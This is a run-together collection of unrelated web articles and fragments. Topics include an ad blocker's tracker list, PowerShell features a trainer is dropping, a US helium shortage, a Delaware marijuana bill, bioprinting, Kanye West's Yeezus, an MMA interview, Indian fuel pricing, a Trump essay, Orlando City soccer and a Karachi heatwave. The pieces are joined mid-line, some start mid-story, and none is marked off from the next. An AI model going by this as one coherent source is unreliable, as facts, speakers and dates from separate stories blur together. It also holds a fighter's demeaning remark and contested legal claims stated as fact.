He notes that the list of trackers is definitely on the rise, currently rising at a rate of 3% in the first two months of the year. “Being open source is an advantage here, however, because more people can contribute to keeping our block list one step ahead of the trackers,” he says.
Faida says that Adblock is on track to hit 300 million downloads by next week, with active monthly users at between 50 million and 60 million at the moment. Last year, Adblock began to distribute its Android app on its own site, “since we got kicked out of Google Play”, Faida recalls. That complication and workaround have kept Android numbers “relatively low” compared to usage across Firefox, Chrome, Opera, IE and Safari browsers, Faida tells me.
Looks like we may have an update there soon, too: “We are making huge strides with the Android app that we think will bring us a lot more users in the coming year,” he says.
Photo: FlickrPart of me wants to know every bit of PowerShell there is. I know that’s true about me, so I don’t have much of an input filter. If the content is PowerShell-related, I’m interested.
When it comes to sharing, however, there’s clearly got to be a point at which I shouldn’t be talking about something. Here are a few items that I’ve spoken or taught about that I think are going to get pulled from my routine.
The TRAP statement Obscure Operators Filters Tee-Object (bonus) Workflows
Let’s go through them one by one and see why. And yes, I know that I’m talking about them, but this should be the last time (and this time I mean it).
The TRAP statement
The trap statement is the error handling statement that made the cut for v1.0 of PowerShell. If you weren’t a PowerShell user at that time you probably haven’t ever used it, favoring TRY/CATCH/FINALLY.
Instead of being a block-structured statement like TRY, TRAP worked in a scope, and functioned like a VB ON ERROR GOTO. The rules for program flow after a TRAP statement (which I’ve long forgotten) made understanding code that used TRAP into….a trap.
The advice I have given students in the past is, “If you stumble upon some code that uses TRAP, look for other code.”
Obscure Operators
PowerShell has a lot of operators, and that’s a good thing. On the other hand, I’m not sure why I need to tell people about every single operator. Some of the operators, though, are obscure enough that I haven’t used them in any language more than a handful of times in the last thirty years. Candidates for expulsion (from discussion, not from the language) include:
-SHL, -SHR (I guess someone does bitwise shifting, but I haven’t ever needed this except in machine language)
*=, /=, %= (I can see what these do, but I don’t ever do much arithmetic so don’t find the need for these “shorthand” operators)
Filters
Filters are another PowerShell 1.0 topic. They are one of the ways to use the pipeline for input without using advanced functions and parameter attributes. They’re pretty slick, but are easily replaced with an advanced function with a process block. In the last 5 years, I’ve only seen filters used once (by Rob Campbell at a user group meeting).
Tee-Object
I generally consider the -Object cmdlets to be the backbone of PowerShell. They allow you to deal with pipeline objects “once-and-for-all” and not write a bunch of plumbing code in every function. For that reason, I like to talk about all of them. Tee-Object, however, might get sent to an appendix, because I don’t see anyone using it and don’t use it myself. This one might be changing as we see (being optimistic) people with more Linux backgrounds submitting PowerShell code. They use tee, right? I find that the -outvariable common parameter serves most of the need I would have for Tee-Object, so, it makes this list.
And finally,
Workflows
Workflows sound awesome. When you talk about workflows you get to use adjectives like “robust”, and “resilient”. And don’t get me wrong Foreach-Object -Parallel is pretty sweet.
On the other hand, writing PowerShell in the workflow-subset of PowerShell is tricky. Remembering what needs to be an inlinescript and how to use/access variables in each kind of block is not fun.
I haven’t ever used workflows for anything interesting, and have only heard a few examples of them being used by coworkers. Those examples could mostly be summed up by “I needed parallel”.
It won’t be hard for me to stop talking about workflows, as I’ve never really talked about them.
Before I get flamed because I included/excluded your favorite topic, these are just for me. If you like one of these, sell it! You might convince me to change my mind. Is there something that you think should fade away? Let me know what it is. I might be able to change your mind.
–MikeOne of the most abundant elements in the universe is getting harder to come by.
Helium goes into a lot more than balloons. Because the gas is inert and has extreme melting and boiling points—both near absolute zero—scientists use it in cryogenics, high-energy accelerators, arc welding, and silicon wafer manufacturing. A severe reduction in the availability of helium could force hospitals to replace costly MRI magnets or restrict patient access to them.
The federal government, which sets helium prices, announced in April that helium prices would spike from $75.75 per thousand cubic feet (Mcf) in FY 2012 to $84 per Mcf in FY 2013. (Last year, prices rose only 75 cents.) This price spike, along with uncertain federal policy (and a peculiar industry setup to begin with), is threatening to create a shortage. Here's what's going on.
Helium Hotspot
Although helium is the second most abundant element in the universe, most of it in the Earth's atmosphere bleeds off into space. Helium used for industrial purposes is a byproduct of natural gas production, and the Texas Panhandle is the United States' helium capital. In the natural gas fields near Amarillo, the U.S. government maintains the country's largest helium storehouse. The government put it there back in 1925 because natural gas produced at the gas fields between Amarillo and Hugoton, Kan., has a very high helium concentration—up to 1.9 percent.
Although other countries produce helium, the natural gas fields elsewhere around the globe are much less helium-rich than those near Amarillo. Because helium was critical to military reconnaissance and space exploration in the mid-20th Century, Congress mandated that the government encourage private helium producers nationwide to sell their helium to the government and store it near Amarillo as part of the Federal Helium Program.
The U.S. alone produces 75 percent of the world's helium
Today, the U.S. alone produces 75 percent of the world's helium. Nearly half of that total, or roughly 30 percent of the world's helium supply, comes from the U.S. Federal Helium Reserve. That reserve is held in a huge natural underground reservoir near Amarillo called the Bush Dome. The dome is connected to a pipeline that links the stored helium with nearby helium refining facilities and the natural gas fields in Kansas.
Yet the American reserve is in danger. Between 10 and 12 billion cubic feet of recoverable helium are expected to remain in the reservoir by the end of 2014, Walter Nelson, director of helium sourcing for Air Products and Chemicals, Inc., told the U.S. Senate Energy and Natural Resources Committee in May. "At current production rates of about 2 billion cubic feet per year, the reservoir could continue to produce helium for five to six more years." But, he said, the computer modeling that predicts the amount of helium the reservoir will be able to produce, considering its complex geology, has determined that the reservoir production rates "will decline to approximately 1 billion cubic feet per year after 2014," he said. "As a result, the usable life of the reservoir will be extended to 2018 or perhaps even 2020."
And because of politics, the reserve may not make it even that far.
A Government-Mandated Shortage?
Where Congress once mandated that the federal government keep a reserve of this crucial gas, it reversed course several decades later. In 1996, Congress moved to privatize the federal helium program, requiring all of the government's helium supplies to be sold off by 2015. "The legislation in 1996 says we were supposed to get out of the helium business," says Joe Peterson, the Bureau of Land Management's assistant field manager for helium in Amarillo. "The hope was by 2015, by the time the reserve was sold down, that new sources of helium would be online and take up the demand. However, it has not happened yet."
Though new private helium production plants are set to come online in the coming years—including a Wyoming plant expected to open later this year—private industry hasn't been as interested in producing helium as Congress hoped. Until more companies begin producing helium on their own, consumers are left with spiking prices and tightening supplies.
Under the federal system, those prices are unstable partly because they have less to do with supply and demand than they do about the need for the government, under the U.S. Bureau of Land Management, to pay off the cost of creating the Federal Helium Reserve, according to David Joyner, president of Air Liquide Helium America, who testified before the Senate Energy and Natural Resources Committee in May. Helium prices were set by the BLM based on the amount of the remaining $1 billion debt the government incurred after it purchased its helium stockpile in 1960 and how much of that reserve was left.
"Because the original base pricing of federal helium started at below market levels, the BLM, at the recommendation of the National Academy of Sciences, is now making unpredictable increases to adjust for the base pricing up to market levels and to incorporate additional fees for costs that are specific only to the operation of the BLM reserve," he told the committee. This irregular pricing, he said, "drives up the price of helium for all consumers, not only here in the United States, but also around the world whenever the BLM crude price is adjusted."
When Helium Dries Up
As helium reserves tighten, the greatest impact could be on healthcare and small-scale scientific research. For example, a shortage could restrict the ability to obtain an MRI, too, if scanners become difficult to maintain with little helium to be found.
"Helium is absolutely essential to MRI production," says Tom Rauch, global sourcing manager for GE Healthcare, one of the largest manufacturers of MRI systems. The most important component of an MRI system is a large magnet containing superconducting wire cooled to 4.2 Kelvin, or minus 452 F. "Helium is currently the only element on Earth that can effectively keep the magnet this cold and consequently allow for the high field strength, stable and uniform magnetic fields that make modern MRI systems possible," he says.
And, he says, though companies like GE are trying to conserve as much helium as possible during the manufacturing process, MRI machines need a lot it: up to 10,000 liters of helium, with up to 2000 liters remaining in a sealed vacuum system around the magnet.
"If the supply constraint on helium continues unabated, it could be very harmful to patient care," he says. "If there were no helium to properly service an MRI, a 'quench,' or sudden boil-off could occur. While there is no immediate patient safety risk, a magnet could sustain permanent damage and may need to be replaced—an expensive and time-consuming process."
Other scientific fields might not require such a volume of the gas. But, according to Moses Chan, a Penn State University physics professor and member of a National Research Council committee studying the impact of selling the helium reserve, the grants that fund those researchers don't account for volatile price swings.
A Way Out?
Getting the government out of the helium business completely isn't possible yet, Nelson said, because private industry's response to the required government sell-off has been too slow and the geology of the helium reservoir near Amarillo is too complex to simply sell off the helium stored inside and then close its doors. "If the valve was simply left wide open to deplete the entire supply at once, valuable helium would be stranded in the ground and never recovered," he said.
Getting the government out of the helium business completely isn't possible yet
The U.S. Senate is considering a bill called the Helium Stewardship Act of 2012. It would extend the 2015 deadline for the sell-off of the Federal Helium Program and allow the federal government to continue supplying world markets with helium, selling it at market prices instead of government-set prices. Nelson testified on behalf of the bill, saying that if it's not passed, the funding mechanism for the BLM's helium operations will expire, leaving researchers and MRI manufacturers in the cold by the end of next year. But Congress has taken no action on the bill since its introduction in April.DOVER, Del. (Apr. 11, 2017) – A bill filed in the Delaware House would legalize marijuana for recreational use, taking a step toward nullifying federal cannabis prohibition in practice in the state.
House Bill 110 (HB110) was introduced by Rep. Helene Keeley (D-South Wilmington) and 13 co-sponsors. The legislation would legalize marijuana under a tax-and-regulate system enforced at the state level. The bill reads as follows:
In the interest of promoting individual freedom, generating revenue for education and other public purposes, and allowing law enforcement to focus on violent crime and property crimes, the General Assembly finds and declares that the personal use of marijuana should be legal for persons 21 years of age or older and taxed in a manner similar to alcohol.
Under the provisions of HB110, individuals would be permitted to use recreational marijuana if they followed these rules:
(1) Individuals will have to show proof of age before purchasing marijuana.
(2) Selling, distributing, or transferring marijuana to minors and other individuals under the age of 21 remains illegal.
(3) Driving under the influence of marijuana remains illegal.
(4) Legitimate, taxpaying business people, not criminal actors, conduct sales of marijuana.
(5) Marijuana sold in this State will be tested, labeled, and subject to additional regulations to ensure that consumers are informed and protected.
An excise tax would be placed on lawfully sold recreational marijuana of “$50 per ounce on all marijuana flowers” as well as “$15 per ounce on all part of marijuana other than marijuana flowers and immature marijuana plants” and “$25 per immature marijuana plant.” The revenue would be placed in a Marijuana Regulation Fund to cover administration costs, with the rest of the money allocated to the Department of Health and Social Services, Department of Education, and general fund.
“House Bill 110 creates an entirely new industry in our state,” Rep. Keeley said. “As the only state in a seven-hour drive to have legalized marijuana, we would become a destination that would attract out-of-state sales, which would have a benefit to our Delaware businesses.”
Despite the federal prohibition on marijuana, measures such as HB110 remain perfectly constitutional, and the feds can do little if anything to stop them in practice.
LEGALITY
The federal Controlled Substances Act (CSA) passed in 1970 prohibits all of this behavior. Of course, the federal government lacks any constitutional authority to ban or regulate marijuana within the borders of a state, despite the opinion of the politically connected lawyers on the Supreme Court. If you doubt this, ask yourself why it took a constitutional amendment to institute federal alcohol prohibition.
Legalization of marijuana in Delaware would remove a layer of laws prohibiting the possession and use of marijuana, but federal prohibition will remain on the books.
FBI statistics show that law enforcement makes approximately 99 of 100 marijuana arrests under state, not federal law. By mostly ending state prohibition, Delaware essentially sweeps away most of the basis for 99 percent of marijuana arrests.
Furthermore, figures indicate it would take 40 percent of the DEA’s yearly-budget just to investigate and raid all of the dispensaries in Los Angeles – a single city in a single state. That doesn’t include the cost of prosecution. The lesson? The feds lack the resources to enforce marijuana prohibition without state assistance.
A GROWING MOVEMENT
Delaware could join a growing number of states simply ignoring federal prohibition, and nullifying it in practice. Colorado, Washington state, Oregon and Alaska have already legalized recreational cannabis with California, Nevada, Maine, and Massachusetts set to join them after ballot initiatives in favor of legalization were passed in those states earlier this month.
With more than two-dozen states allowing cannabis for medical use as well, the feds find themselves in a position where they simply can’t enforce prohibition any more.
“The lesson here is pretty straight forward. When enough people say, ‘No!’ to the federal government, and enough states pass laws backing those people up, there’s not much the feds can do to shove their so-called laws, regulations or mandates down our throats,” Tenth Amendment Center founder and executive director Michael Boldin said.
WHAT’S NEXT?
HB110 will need to pass the House Health & Human Development Committee before it can be considered by the full House.Latest Events for AEBHF
Jerron "Blind Boy" Paxton
Friday, March 1, 8pm
The Old Parish House
4711 Knox Road, College Park, MD 20740
While we're between homes, the concerts continue! And we're tremendously lucky to start things off with Jerron Paxton! An incredible entertainer. A magnetic and endearing performer. A multi-instrumentalist who seems to play everything well. One of the featured performers in the American Epic documentary and the American Epic Sessions, produced by Jack White, T-Bone Burnett and Robert Redford. The current artistic director of the Port Townsend Acoustic Blues Workshop and Festival. Featured on the cover of Living Blues and the Village Voice. The list goes on and on. If you've seen him before, you know what a treat his performances are; if you haven't, this is your chance to remedy that. You do not want to miss a chance to see Blind Boy Paxton play.
This concert will be held at the Old Parish House in College Park. $20 suggested donation. To reserve a spot, email info@acousticblues.com.Prof. Angela Panoskaltsis-Mortari stood silently a few feet from the machine as it whirred alive for the first time. The device deposited coat atop delicate coat of pink goo through a small syringe until it had transformed a computerized image into a physical object.
Then she exhaled. Instead of wax or plastic, this 3-D printer uses “living” ink.
“It’s like science fiction,” said Panoskaltsis-Mortari, a pediatrics and medicine professor at the University of Minnesota.
Her lab was one of 20 worldwide selected recently to receive bioprinters from a fledgling company called BioBots, and it places her at the vanguard of research that could transform transplant medicine, burn therapy, drug testing and other fields of health care.
At labs across the country, researchers have used bioprinters like hers to produce transplantable ears, bone and muscle.
Panoskaltsis-Mortari plans to use her month-old printer to produce a biocompatible piece of esophagus; she and her colleagues hope to transplant it into a pig by the end of the year.
At the Visible Heart Research laboratory on the U of M campus, Ph.D. candidate Brian Howard shows a 3D model of the blood flow of a 10-year old’s heart which has been implanted with a stent.]
“The idea is that if you can generate the [right] types of cells,” she said, “then all you have to do is print them in the right pattern.”
Eventually, she said, medical researchers hope to “print” entire organs, such as lungs or hearts, for human transplant. On average, about 21 Americans die each day waiting for a transplant. That goal is at least a decade off, she said, but it raises tantalizing possibilities.
“There’s no limit; if you know how to generate the individual parts, then theoretically there’s a way to put them together … and put them somewhere in the body,” she said.
Her bioprinter is the first at the U, and she hopes it can eventually anchor a campuswide lab for all the computer engineers, biophysicists, material scientists, mathematicians and biomedical researchers who are clamoring to use it.
Treating burns, diabetes
Before it’s inserted into the printer, the bio-ink is a fluorescent pink gel. Once a syringe lays it down in successive layers, it dries to become smooth and pale — like hot glue — but slippery and decidedly organic to the touch.
For now, Panoskaltsis-Mortari purchases her bio-ink. But bioprinted components could be completely personalized, using a patient’s specific dimensions and customizing the ink using cells from their own bodies.
U surgeons have been using simpler 3-D printers on simpler tasks for some time. At the U’s Visible Heart Laboratory on a recent afternoon, five chirping printers were spitting out plastic models of the human heart. Some will be used to teach students and physicians, others to help heart surgeons customize patient care.
Robroy MacIver, a pediatric cardiothoracic surgeon at the school’s Children’s Hospital, uses the one-in-a-million models — tailored specifically to each of his patients — to help parents visualize complicated issues like aortic diagnoses or ventricular septal defects.
But bioprinting promises entirely new landscapes.
Using cells from any part of the adult body, Panoskaltsis-Mortari said, researchers can create what are called induced pluripotent stem cells. Those, in turn, can provide a basically endless supply of cells for patients. When fed into a bioprinter, the possibilities are endless.
“You could make skin cells for burn patients. You could produce pancreatic cells for insulin,” she said. “You can make whatever cells you want.”
Yet surgeons and researchers must clear significant hurdles before they begin printing out hearts with the push of a button. Complex, solid organs like lungs would be difficult to integrate into existing networks of vessels and nerves. Growing cells for bio-ink remains expensive.
“It has tremendous potential, but it’s not as easy as it looks,” said Wendy Dean, medical adviser to the Armed Forces Institute of Regenerative Medicine. Her office oversees work on technology that would scan and print skin cells directly into burn wounds suffered in combat or training, using ink made from patients’ bodies. It’s also studying reconstructive nose and ear cartilage and facial muscles and bones.
“The whole field holds so much potential for changing the paradigm of medicine,” Dean said.
While producing entire organs remains a distant goal, researchers are already harnessing the technology for other uses. The pioneering Wake Forest Institute for Regenerative Medicine, for example, is bioprinting human “organoids” to test drugs, eliminating the need for animal testing.
At the U’s Visible Heart lab, the new bioprinter uses “living” ink, a pink goo that could even include a patients’ own cells.
“Instead of studying a random mix in a petri dish, you can actually put cells together … approximate[ly] how they are normally in the body,” Panoskaltsis-Mortari said. “Even if we never print an organ that we can use for transplant, people are already using 3-D bioprinting.”Last night, Kanye West held an exclusive listening event in New York City for his upcoming album Yeezus. Aside from performing the album, the artist gave a lot of background info on the new release. From the information that we have now, it looks like Daft Punk produced three tracks on the album including “I Am a God.” There are guest appearances by Kid Cudi, Frank Ocean, Chief Keef and Bon Iver, among others. From what we have heard, the mood of the album is rather dark.
Check out the tentative tracklist below:
Yeezus:
01 “On Site” (produced by Daft Punk)
02 “Black Skinhead” (produced by Daft Punk)
03 “I Am a God” (produced by Daft Punk)
04 “New Slaves” (featuring Frank Ocean) (samples “Gyöngyhajú lány” by Omega)
05 “Can’t Handle My Liquor” (featuring Chief Keef and Justin Vernon)
07 “Could’ve Been Somebody”
08 Untitled (featuring Kid Cudi) (samples “Strange Fruit” by Billie Holiday and “R U Ready” by TNGHT)
09 Untitled (featuring King Louie)
10 “Bound” (samples “Bound” contains samples of “Bound” by Ponderosa Twins Plus One and “Sweet Nothin’s” by Brenda Lee)
Check out a short video from the listening event here below.
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Words by David Fischer CEO & Publisher I am the founder of Highsnobiety.com. I started the blog right out of college in 2005 and I am still as passionate and involved as I was on the first day. While I do not write as much anymore, you will still find the occasional article on the site wi...Saskatchewan’s own Mitch Clarke came into the UFC as one of the hottest lightweight prospects in the country. He was riding a nine fight winning streak coming into his UFC 140 match-up with John Cholish. He was stunned by a barrage of punches in the second round to force referee John McCarthy to stop the fight.
In his last outing, he dropped a split decision to Finnish striker Anton Kuivanen at UFC 149 in Calgary. Following the fight, he was extremely emotional about losing the fight in front of the Canadian fans, stating that what hurt the most was his “heart.” He revealed during his post-fight interview that in the very first round, in fact within the first 10-seconds he blew out his knee.
MMASucka spoke with Mitch Clarke this week about his disastrous 2012 and what 2013 will bring.
Clarke has his home gym in Edmonton, but has been spending his training camps with UFC Lightweight Champion Benson Henderson at the MMA Lab in Glendale, Arizona. Throughout the rehabilitation process, Clarke has kept in constant contact with his MMA Lab trainers and they have been supportive through the whole process.
“My training camp gym is definitely The Lab, I talk to [John] Crouch several times a week and they’ve been super supportive this whole time during my injury.”
As far as a return goes, Clarke still has quite a bit of rehab to go through, but is confident that a late spring or early summer return would be ideal.
“I have to go to dynamic sports physio therapy 3-days a week and the chiropractor once a week, as well as doing my own exercises everyday. I wear a brace when I teach classes and when I have to sit for prolonged periods cause it swells a lot. I Hoping to get on a late spring or early summer card and fight one of the Brits from TUF Smashes.” When asked why the beef with the TUF Smashes guys, Clarke was quick to answer and state that the Brits “can’t really wrestle” and the stylistic match-up would be perfect for him. The first name that went through my mind when he told me this was TUF Smashes winner Norman Parke, however that was not his first choice.
“I hung out with Norman [Parke], but I’d fight him, Colin Fletcher. I was eying up Mike Wilkinson. The British can’t really wrestle, or grapple like we can in North America, so stylistically it’s a good fight. Especially since I’d have like a 6 inch reach advantage.” “I want to fight Wilkinson because he’s a borderline dwarf.”
A win would get “Danger Zone” back on track in the lightweight division. Being in the 155lbs division would ultimately leave him in a place of discomfort, as at the top of the heap is his training partner Benson Henderson. Everyone has heard teammates say that they would never fight each other and this seems to be the case for Clarke as well.last revised downward +
NEW DELHI: Come May 1, petrol and diesel prices will change every day in sync with international rates, much like what happens in most advanced markets.State-owned fuel retailers Indian Oil Corp ( IOC ), Bharat Petroleum Corp Ltd ( BPCL ) and Hindustan Petroleum Corp Ltd (HPCL), which own over 95 per cent of nearly 58,000 petrol pumps in the country, will launch a pilot for daily price revision in five select cities from May 1 and gradually extend it to all over the country."Oil companies will implement it on pilot project in 5 cities. After this, they'll decide what to do with rest of the country," Petroleum minister Dharmendra Pradhan said.A pilot for daily revision of petrol and diesel price will be first implemented in Puducherry, Vizag in Andhra Pradesh, Udaipur in Rajasthan, Jamshedpur in Jharkhand and Chandigarh, he said.State fuel retailers currently revise rates on 1st and 16th of every month based on average international price of the fuel in the preceding fortnight and currency exchange rate.Instead of using fortnightly average, pump rates will reflect daily movement in international oil prices and rupee-US dollar fluctuations."Ultimately, we will be driving towards market linked rates on a daily basis at all pumps across the country," IOC chairman B Ashok said."It is technically possible to change rates daily but we have to first do a pilot. Once pilot is done and its implications studied, we will extend it to other parts of the country," he said.While Ashok said the pilot is to be "launched within one month" and did not give a specific date, industry sources said the pilot is planned to be launched on May 1.Daily price change will remove the big leaps in rates that need to be effected at the end of the fortnight and consumer will be more aligned to market dynamics.While petrol price was freed from government control in June 2010, diesel rates were deregulated in October 2014. Technically, oil companies have freedom to revise rates but often they have been guided by political considerations.Rates differ by only a few paise between pumps of the three state fuel retailers. Unbranded petrol at IOC pumps in Delhi costs Rs 66.29 per litre, while the same at BPCL pumps in the city is priced at Rs 66.37 a litre. HPCL pumps sell for Rs 66.48 per litre.Unbranded diesel at IOC pumps in Delhi costs Rs 55.61, Rs 55.66 at BPCL outlets and Rs 55.69 a litre at HPCL pumps.With daily changes, which are unlikely to more than few paise per litre, the political pressures for not revising rates particularly when they are to be hiked will go, sources said.Petrol price wasby Rs 3.77 a litre on April 1, and diesel rates were cut by Rs 2.91. This was the first revision in two-and-half-months as oil firms did not change prices during assembly elections in five states, including Uttar Pradesh and Punjab.Ashok said prices of petrol and diesel in a particular market (city or town) will be the same."By and large, in a particular market it should be same. Though, there might be marginal difference from pump to pump," he said.In the “Metamorphoses,” his compendium of classical mythology, the Roman poet Ovid recounts the tale of Pygmalion, the sculptor who made a statue so beautiful he fell in love with it and prayed for it to come to life. Two millennia later this legend, by way of George Bernard Shaw, became the basis of “My Fair Lady,” the Lerner and Loewe musical about the linguist Henry Higgins’ quest to transform Cockney flower girl Eliza Doolittle into a lady by teaching her to speak properly.
Sixty years after that, the Pygmalion drama is being re-enacted once more. This time the players are the Republican Party and its presidential nominee, the blowzy New York real estate tycoon Donald Trump. The curtain rose on the latest version when Trump capped a campaign’s worth of inflammatory rhetoric with a week-long diatribe against Gonzalo Curiel, the judge presiding over a lawsuit against Trump University, whom Trump impugned on the ground that Curiel’s Mexican heritage renders him hostile to Trump.
Alarmed that Trump’s calumnies could do lasting damage to the party’s already troubled relationship with Hispanics, GOP leaders denounced his statements and implored him to leave the case to his lawyers and focus on the hard work of getting ready for the general election. Apparently taking to heart criticism even from his own allies that his attacks were “inexcusable,” a chastened Trump took the stage at his victory rally after winning the last primaries on June 7 and, reading from two teleprompters, promised he would make Republicans “proud of your party and our movement” and would not “let you down.” Establishment figures were relieved and praised the speech. After the worst week of his campaign, it was the speech Trump had to give. The party could only hope it wasn’t too late.
Lateness wasn’t the real problem, however. It was that this was the third time Trump had offered such a pledge in as many months. As he has so often, instead of paying Trump rolled his obligations into a new promissory note. Trump will gladly act presidential Tuesday to keep playing the Hamburglar today. Yet when Tuesday comes, all thought of recidivism will be forgotten, and generous terms will be agreed upon again. Such is the dilemma of the Republican Party’s courtship of its putative presidential nominee. It is full of Henry Higginses, but its betrothed is no Eliza Doolittle.
Act I: Why Can’t the Trumpish Learn to Speak?
The first act of the new “Pygmalion” took place in early March, when it became evident Trump was the frontrunner. At this stage various figures in the party and the conservative movement, realizing Trump might become their standard bearer, began to wonder whether he could “act presidential.” Or as Rex Harrison might have put it, they pondered “Why Can’t the Trumpish Learn to Speak?”
Trump may be a “prisoner of the gutter / Condemned by every syllable [he] utters,” but at the beginning of March his Republican brethren were confident that with the right training they could in ten months pass him off as president at an inaugural ball. (But not as “a lady’s maid or a shop assistant.” Some things are beyond any mortal power.)
Trump sounded an eager pupil, swearing he “could be more presidential than anybody” except Abraham Lincoln. (For once Trump was willing to settle for second best. A generous concession, surely.) An eager nation beseeched Trump to unveil his new persona. Later in March the lessons seemed to be taking hold, and one of Trump’s former rivals took credit for his improved comportment.
“I’ve had talks about being presidential, about toning it down a bit, appealing to a broader group of people,” Ben Carson said. The result was a less “caustic” Trump at the latest debate. “It’s a matter of cultivating and capitalizing on that.” True, this was right after Trump had spent several days mocking Ted Cruz’s wife. But a neurosurgeon of Carson’s caliber knows that Frankenstein’s monster doesn’t become Fred Astaire overnight.
Frankenstein’s monster, however, may have an altogether different view of the matter. He may believe he’s successful because he got the abnormal brain. He may not need to speak a new language; maybe everyone else has to understand his. Maybe “presidential” merely means whatever the frontrunner says and does. In that case, there’s no point telling him to tame his tongue, especially when doing so would be “boring as hell.” So what if Trump’s “curbstone English” should “keep [him] in [his] place”? His place, after all, is first.
Act II: Why Can’t a Trump Be More Like a Man?
By mid-April the GOP was venting its frustration with its “exasperating, irritating, vacillating, calculating, agitating, maddening, and infuriating” charge. Why, the party lamented, can’t Trump be more like a man? “Men are so honest, so thoroughly square; / Eternally noble, historically fair.” Why can’t Trump be like that? Oh, but I can, came the answer from a student eager to prove he was still willing and able. Acting presidential is “easy” and I can do it anytime.
Right after the New York primary, Trump’s campaign chairman, Paul Manafort, told Republican nabobs Trump was playing a “part” on the campaign trail and would adopt a more appropriate “persona” for the general election. “The image is going to change,” Manafort declared, and Trump will “evolv[e] into the part that you’ve been expecting.” There was reason to believe him, as the Trump who proclaimed victory after winning New York “was markedly more disciplined, gentler and more appealing than the” Trump on display for most of the campaign. |
justices ultimately sided with Elonis and tossed out his conviction, in a ruling that made it harder to prosecute people for threats made on the internet. Emojis are likely to get close scrutiny when they pop up in similar cases going forward.
Bradley S. Shear, a Maryland attorney who specializes in internet issues, said the issues surrounding emojis and the legal system would only proliferate.
"These cases are only increasing," Shear said. "The more people are using their cellphones and posting on the internet, the more emoji will creep up as evidence in cases."
And that could leave judges wanting to type: ¯\_(ツ)_/¯
This article was written by Justin Jouvenal from The Washington Post and was legally licensed through the NewsCred publisher network.Sign Up Now for the Matters Of Health Blog Update and Enter to Win an Amazon Fire Stick TV and Echo Dot! Free Giveaway!
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Prime membership unlocks thousands of movies and TV episodes, including Thursday Night Football, Amazon Original Series, Amazon Channels, and ad-free listening to millions of songs with Prime Music.
Please see Rules on how to enter for your chance to win the Amazon Fire TV Stick and Echo Dot!Kimye produced a baby together and now they’ll reportedly be making sweet music together! Would you buy a song featuring both Kanye and Kim?
We already know Kim Kardashian can sing — have you heard “Jam (Turn It Up)“? Her sole single lit up 2011. Now, the reality star will reportedly be joining her rap star baby daddy, Kanye West, on his upcoming album. Trust us — when this song’s released, you’ll likely be screaming “turn it up!”
Kanye West & Kim Kardashian: Recording Song Together?
Kim’s singing will be featured “on the intro or on a interlude of the album,” sources tell Media Take Out. Rest those vocal chords, Kimmy. It’s time to shine!
Kim Kardashian’s Recent Foray Into Music
Kim was recently featured on a track by Ray J called “I Hit It First.” Okay — Kim wasn’t literally featured on the song, but it’s allegedly about Ray J’s infamous relationship with Kim. During that time, they filmed their infamous sex tape: Kim Kardashian Superstar. And now, Ray J — also known as Brandy’s little brother — is letting the word know that he hit it first.
Ray J’s lyrics go as follows:
“She might move on to rappers and ballplayers. But we all know I hit it first.”
We can only imagine what sort of lyrics Kim and Kanye will come up with together. We’re so excited!
What do YOU think, HollywoodLifers? Should Kim be featured on Kanye’s next album?
WATCH: Kim Kardashian – Jam (Turn It Up) [Extended Music Video]
http://youtu.be/gHp7sq1Tzn0
— Chris Rogers
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@ChrisRogers86
More Kim Kardashian Music News:The last time Orlando City had a week to focus on nothing but training was more than a month ago.
Having that time for players and coaches to hone in on small details, skills and technique instead of worrying about preparing for a specific opponent can be beneficial, especially for a team that hasn’t played its best recently, according to Lions coach Jason Kreis.
“The truth of the matter is that we haven’t had the time to train for a very long time now. So, I think kind of as we’ve gone through some things, [we’ve] forgotten about what those small things were that led to successes. You just have to go back to the last time when we had matches in a regular fashion, once a week, and say, ‘Yea, we were doing pretty well then.’
“Then we started all these matches in a row, and I think we’ve struggled. A lot of that has to do with that we haven’t been able to continue to train the guys on these are the things we need to be doing if we want to win. So, we look at this window as an opportunity to get back to those things.”
Striker Cyle Larin said for him, that means working on his fitness level and movement up top. There’s been a lot of talk from the club’s front office and coaching staffs about the need to bring in more attacking players and score more goals. For the team’s leading scorer, that’s motivation.
“It motivates me to train harder,” Larin said, adding he’s specifically working on improving his fitness and movement up top. “We need more people in the box to occupy players, and hopefully I get open that way. I know when I’m in the box a lot of people cover me, so just more players in the box and more people forward.
“Feels good working on a couple things we need to work on before the Atlanta game.”
Orlando City returns to MLS play July 21, when Atlanta United FC visits. Most of the schedule through the end of the year features weekly matches or even more time between competition.
There is one stretch, though, beginning with a road match to Portland Sept. 24, where the Lions play three games in seven days. So, Kreis and the team still need to figure out how to keep working on those “little things” and finding a way to win even when games come in rapid succession.
Ruckus raises money
Orlando City supporter group The Ruckus raised $6,000 for the Zebra Coalition last week, presenting a check to the organization before Orlando City’s match against Toronto FC on July 5.
The event held to raise the money wasn’t a typical charity fundraiser, however, it was a “secret event." The details weren’t revealed to attendees until hours before.
Ruckus president Jerry Updike said he does a lot of volunteer work involving gifted education and often works with Zebra Coalition, a network of organizations that provides services to LGBTQ youth and all youth in Central Florida.
"This was our first time flirting with event-style fundraising, so we set up a secret event at a local business,” Updike said, noting his wife, Ginger, headed up the event. “We limited the ticket sales to first 125 members. Those who purchased knew nothing about the event other than that they were required to wear black and white cocktail attire. At midnight the night before, they received the details...that they were attending Ruckus Casino Royale. Through tickets, event sales and other donations, we were able to raise $6,000 for Zebra Coalition in a three-week period.”
Next year, Updike said they hope to double that number by growing the event and opening it to the public.
ardelgallo@orlandosentinel.comKARACHI: While the punishing heatwave gripping Karachi since Saturday showed signs of subsiding, the death toll across Sindh rose to 1,011, with at least 229 fatalities reported on Wednesday by government and private hospitals.
Wednesday’s figures included the five-day tally of 23 deaths reported by a private hospital which had not released it earlier.
Officials said that about 40,000 people had suffered heatstroke and as many as 7,500 of them were treated in Jinnah Postgraduate Medical Centre (JPMC), where 311 people died.
“More than 1,000 of the 40,000 heatstroke victims have died since Saturday evening, of which 950 deaths were reported in Karachi alone,” said a senior official.
According to the figures collected from various hospitals, of the 950 deaths in Karachi, 729 were recorded in government-run health facilities and 221 in private hospitals.
The officials said the number of patients arriving in hospitals had ‘significantly’ dropped with the weather getting better, yet there were thousands of patients being treated in different health facilities.
The gravity of the situation could be gauged from the fact that only Abbasi Shaheed Hospital and other hospitals run by the Karachi Metropolitan Corporation treated 17,382 patients till Wednesday evening. Of them, 207 died since Saturday.
The officials said 15 people died in Hyderabad, two in Naushahro Feroze and five in Badin, bringing the five-day tally to 61 recorded in other districts of Sindh.
Meanwhile, moving scenes were witnessed in hospitals across the city where relatives were seen crying with ambulances arriving one after another.
